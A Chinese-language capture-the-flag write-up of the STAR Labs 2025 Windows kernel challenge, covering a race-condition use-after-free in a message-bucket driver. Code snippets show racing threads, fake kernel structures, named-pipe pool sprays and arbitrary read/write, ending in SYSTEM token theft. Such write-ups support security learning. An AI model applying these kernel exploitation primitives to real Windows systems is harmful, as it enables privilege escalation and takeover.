STAR Labs Windows Exploitation Challenge 2025 Writeup
分析二进制文件
我们获得了一个Windows内核驱动程序。基础分析显示它用于接收和保存从用户模式发送的消息。
重要结构
驱动中使用两个关键结构:句柄和消息条目。消息条目是保存用户模式消息的存储单元,其结构如下:
1
2
3
4
5
6
7
8
9
10
|
struct __declspec(align(8)) MsgEntry
{
_DWORD refCount;
int pad;
LIST_ENTRY listEntry; // 桶链表
PVOID msgContent;
__int64 msgSize;
FAST_MUTEX mutex;
char isAddedToBucket;
};
|
驱动程序将所有MsgEntry对象分类到两个桶中。如果消息小于0x200字节,它进入小桶;否则进入大桶。每个桶本质上是一个链表,大桶和小桶的头部分别位于偏移0x3140和0x3150。
句柄作为MsgEntry的包装器。我们可以根据句柄内的索引字段选择要与哪个条目交互。
1
2
3
4
5
6
7
|
struct MsgHnd
{
int index;
int field_4;
MsgEntry *tmsg;
LIST_ENTRY listEntry;
};
|
所有MsgHnd对象也分组在一个链表中。该链表的头部位于偏移0x30A0。
消息条目操作
驱动程序暴露了4个IOCTL用于处理消息条目:
- 0x222000 - addMessage:初始化新的MsgEntry及其对应的MsgHnd
- 0x222004 - deleteMsgHnd:移除MsgHnd
- 0x222008 - writeMsg:向MsgEntry写入消息
- 0x22200C - emptyBucket:清空桶
当MsgEntry正在使用时(例如,在写入操作期间或在桶内),其refCount字段使用lock inc指令递增。一旦不再使用,引用计数递减。如果refCount降至0,则释放该条目。
每个MsgEntry还有一个互斥对象。在写入操作期间,此互斥锁被锁定以防止多个线程同时修改条目。这应该足以防止竞态条件…或者真的如此吗?
漏洞代码
在清空桶时,函数未能锁定每个消息条目上的互斥锁
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
_int64 __fastcall emptyTmsgBucket(PIRP Irp, struct _IO_STACK_LOCATION * CurrentStackLocation) {
.......
ExAcquireFastMutex(bucketMutex);
currentEntry = bucketHead -> Flink;
if (bucketHead -> Flink != bucketHead) {
do {
prevEntry = currentEntry -> Blink;
tmsg = & currentEntry[0xFFFFFFFF].Blink;
nextEntry = currentEntry -> Flink;
prevEntry -> Flink = currentEntry -> Flink;
nextEntry -> Blink = prevEntry; // [1]
currentEntry -> Blink = currentEntry;
currentEntry -> Flink = currentEntry;
currentEntry -> isAddedToBucket = 0;
if (_InterlockedExchangeAdd(&tmsg->refCount, 0xFFFFFFFF) == 1) {
msgContent = tmsg -> msgContent;
if (msgContent) {
ExFreePoolWithTag(msgContent, 'bufT');
}
ExFreePoolWithTag(tmsg, 'msgT');
}
currentEntry = nextEntry;
}
while (nextEntry != bucketHead);
}
}
|
在[1](第11行),获取nextEntry的地址。从那时起直到程序在下一次迭代中循环回到[1],如果nextEntry设法切换到另一个桶,链表将损坏。这导致取消链接循环永远运行,因为停止条件nextEntry != bucketHead可能永远无法满足。
如果currentEntry的句柄已被删除,则currentEntry->refCount保证为1,并且将调用ExFreePoolWithTag两次来释放currentEntry和currentEntry->msgContent。这将使取消链接currentEntry的迭代运行时间更长,并扩大我们的竞态窗口。
在测试期间,我注意到如果我们赢得竞态,函数会在Flink和Blink都指向自身的MsgEntry上进入无限循环。循环重复取消链接同一条目,最终将其refCount减少到0并释放它。这导致非分页池上的释放后使用条件。
触发竞态条件
我将大桶的布局塑造如下:
1
|
[entry1] -> [entry2] -> [entry3] -> [entry4] -> [entry5] -> [entry6]
|
然后我总共创建6个线程:
- 线程1调用清空桶IOCTL(称为清空线程)
- 其他线程持续将refCount == 2的消息条目移动到小桶(称为翻转线程)。它们通过简单地调用在这些条目上使用msgSize > 0x200的写入消息IOCTL来工作。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
DWORD WINAPI writeSmallMsgThread(LPVOID lpParameter) {
int startIndex = (int) lpParameter;
HANDLE device = raceDeviceList[startIndex];
WriteMsg * smallMsg = (WriteMsg * ) malloc(MSG_SIZE_SMALL + 0xc);
smallMsg -> msgSize = MSG_SIZE_SMALL;
for (int i = startIndex; i < FLIPPING_MSG_ENTRY_COUNT; i += FLIPPING_THREAD_COUNT) {
smallMsg -> index = flippingIndexList[i];
DeviceIoControl(device, 0x222008, smallMsg, MSG_SIZE_SMALL + 0xc, NULL, 0, NULL, NULL);
}
free(smallMsg);
puts("[*] End write");
return 0;
}
|
由于清空线程通常很快完成,我们可以等待1-2秒让它完成。如果在那之后它仍在运行,这是我们赢得竞态的明确信号。
利用
我们的利用策略遵循vp77的非常详细的指南,该指南利用命名管道来利用非分页池中的漏洞。
阶段1:用伪造的Tmsg条目回收漏洞
此时清空循环被困在已释放的消息条目上。然后我们用非缓冲命名管道条目回收漏洞,这些条目充当伪造的MsgEntry对象。它们的内容如下:
1
2
3
|
fakeKernelTmsg->refCount = 1;
fakeKernelTmsg->listEntry.Flink = &fakeUsermodeTmsg->listEntry;
fakeKernelTmsg->listEntry.Blink = &fakeUsermodeTmsg->listEntry;
|
fakeUsermodeTmsg是我们在用户模式下创建的另一个伪造MsgEntry:
1
2
3
|
fakeUsermodeTmsg->refCount = 0x69696969;
fakeUsermodeTmsg->listEntry.Flink = &fakeUsermodeTmsg->listEntry;
fakeUsermodeTmsg->listEntry.Blink = &fakeUsermodeTmsg->listEntry;
|
由于refCount == 1,fakeKernelTmsg将立即被清空循环再次释放。在该迭代之后,清空线程将跟随fakeKernelTmsg->listEntry.Flink到我们的用户模式条目。
fakeUsermodeTmsg的Flink和Blink都指向自身,有效地困住了内核线程。内核线程将持续减少条目的refCount,因此我们必须保持refCount高于0以防止崩溃。为了实现这一点,我将refCount设置为足够大的数字,并有另一个线程将其维持在初始值。
1
2
3
4
5
6
7
8
9
|
DWORD WINAPI watchTmsgRefCount(LPVOID lpParameter) {
while (true) {
if (!isKernelThreadTrapped && fakeUsermodeTmsg -> refCount != USERMODE_FAKE_TMSG_REFCOUNT) {
puts("[*] Kernel loop redirected to usermode");
isKernelThreadTrapped = true;
}
fakeUsermodeTmsg -> refCount = USERMODE_FAKE_TMSG_REFCOUNT;
}
}
|
当内核线程被困在用户模式MsgEntry上时,此线程也会通知我们。refCount下降表明内核线程被困。通过此设置,清空线程在伪造条目上无限循环,不再干扰我们后续的步骤。
阶段2:用缓冲DQE回收漏洞
在第一个非缓冲条目被清空线程释放后,我们再次喷洒池 - 这次使用缓冲的DATA_QUEUE_ENTRY(或DQE)。这些是我们要破坏以实现任意读/写的对象:
1
2
3
4
|
// 头部条目喷洒
for (int i = 0; i < NP_RECLAIM_COUNT; i++) {
WriteFile(reclaimPipeBufferedList[i].Write, pipeContent, NP_BUFFERED_HEAD_ENTRY_SIZE, NULL, 0);
}
|
但是,如果我们在每个管道中只创建1个DQE,我们会遇到问题。原因是vp77的技术包括稍后添加一些额外的DQE用于任意写入,这是Npfs将新条目插入数据队列的方式(代码取自reactos):
1
2
3
4
5
6
7
8
9
|
PLIST_ENTRY _EX_Blink;
PLIST_ENTRY _EX_ListHead;
_EX_ListHead = (ListHead);
_EX_Blink = _EX_ListHead->Blink;
(Entry)->Flink = _EX_ListHead;
(Entry)->Blink = _EX_Blink;
_EX_Blink->Flink = (Entry);
_EX_ListHead->Blink = (Entry);
|
如您所见,要正确插入新的DQE,链表中的最后一个条目必须有效。因此我决定在所有管道上的头部条目之后添加一个额外的条目:
1
2
3
4
5
6
7
8
9
|
// 头部条目喷洒
for (int i = 0; i < NP_RECLAIM_COUNT; i++) {
WriteFile(reclaimPipeBufferedList[i].Write, pipeContent, NP_BUFFERED_HEAD_ENTRY_SIZE, NULL, 0);
}
// 尾部条目喷洒
for (int i = 0; i < NP_RECLAIM_COUNT; i++) {
WriteFile(reclaimPipeBufferedList[i].Write, pipeContent, NP_BUFFERED_TAIL_ENTRY_SIZE, NULL, 0);
}
|
这些尾部条目位于数据队列链表的末尾,并在我们的利用过程中保持有效。它们的大小被选择以便在不同的LFH桶中分配,以免干扰我们的头部条目喷洒。
此时,我们仍然可以从阶段1的非缓冲管道读取数据。由于我们的旧fakeKernelTmsg已被新的DQE覆盖,我们可以识别哪个阶段1管道已损坏。
1
2
3
4
5
6
7
8
9
10
11
12
13
|
for (int i = 0; i < NP_SPRAY_COUNT; i++) {
PeekNamedPipe(reclaimPipeUnbufferedListStage1[i].Read, &stage1PipeContent, sizeof(TMsg), NULL, NULL, NULL);
// 数据已更改 ==> 损坏的管道
if (stage1PipeContent.listEntry.Flink != & fakeUsermodeTmsg -> listEntry) {
puts("[*] Found corrupted stage 1 pipe. Leaking buffered DQE");
corruptReclaimPipe = reclaimPipeUnbufferedListStage1[i];
originalBufferedDqe = (DATA_QUEUE_ENTRY * )&stage1PipeContent;
// 由于这是此管道中的第一个条目,其Blink指向CCB
corruptPipeCCB = (NP_CCB * )(originalBufferedDqe -> Blink - offsetof(NP_CCB, DataQueueOutbound));
printf("[*] Corrupt pipe's CCB: 0x%p\n", corruptPipeCCB);
break;
}
}
|
我们还可以泄漏缓冲DQE的内容并计算阶段2管道的客户端控制块(或CCB)的地址。
最后,我们可以通过在阶段1管道上使用ReadFile来释放对象,使阶段2管道指向已释放的DQE:
1
|
ReadFile(corruptReclaimPipe.Read, pipeData, NP_UNBUFFERED_ENTRY_SIZE, NULL, NULL);
|
阶段3:喷洒伪造缓冲DQE
对于最后的喷洒,我们的目标是用伪造的缓冲DQE回收漏洞。
我们将为此喷洒使用非缓冲条目,其内容如下:
1
2
3
4
5
6
7
8
9
10
|
char stage3Content[NP_UNBUFFERED_ENTRY_SIZE];
ZeroMemory(stage3Content, NP_UNBUFFERED_ENTRY_SIZE);
DATA_QUEUE_ENTRY* fakeKernelDQE = (DATA_QUEUE_ENTRY*)stage3Content;
fakeKernelDQE->Flink = (uint64_t)g_usermodeDqe;
fakeKernelDQE->Blink = 0;
fakeKernelDQE->Irp = NULL;
fakeKernelDQE->EntryType = 0;
fakeKernelDQE->QuotaInEntry = NP_BUFFERED_HEAD_ENTRY_SIZE;
fakeKernelDQE->DataSize = NP_BUFFERED_HEAD_ENTRY_SIZE;
*(QWORD*)(fakeKernelDQE + 1) = KERNELMODE_FAKE_DQE_MAGIC;
|
注意我们的伪造缓冲DQE的Flink指向g_usermodeDqe,这是我们在用户模式下创建的另一个伪造DQE。
一旦伪造DQE回收了漏洞,我们在每个阶段2管道上使用PeekNamedPipe并搜索魔术序列KERNELMODE_FAKE_DQE_MAGIC。这使我们能够获得损坏的阶段2管道的句柄。
1
2
3
4
5
6
7
8
9
10
11
12
|
bool detectCorruptPipe() {
char leakContent[NP_BUFFERED_HEAD_ENTRY_SIZE];
for (int i = 0; i < NP_RECLAIM_COUNT; i++) {
PeekNamedPipe(reclaimPipeBufferedList[i].Read, & leakContent, NP_BUFFERED_HEAD_ENTRY_SIZE, NULL, NULL, NULL);
if ( * (QWORD * ) leakContent == KERNELMODE_FAKE_DQE_MAGIC) {
printf("[*] Found magic sequence: 0x%llx\n", *(QWORD * ) leakContent);
g_vulnPipe = reclaimPipeBufferedList[i];
return true;
}
}
return false;
}
|
任意读写
我们已经有一个伪造的缓冲DQE,其Flink指向我们可以控制的用户模式DQE。通过修改我们伪造用户模式DQE的IRP->SystemBuffer字段,我们可以实现任意读取。我们还从阶段2泄漏了CCB的地址,因此通过遍历DQE链表,我们可以泄漏此损坏管道中所有DQE的池地址。有了这些,我们现在拥有执行任意写入技术所需的一切。
实现任意读取和写入的步骤在vp77的文章中有很好的解释,因此我在此不再详细说明。通过严格遵循本指南,我们可以从SYSTEM进程窃取令牌并获得NT AUTHORITY\SYSTEM shell!
非常感谢STAR Labs团队举办如此精彩的挑战赛!我在解决它的过程中玩得很开心,并在此过程中学到了很多。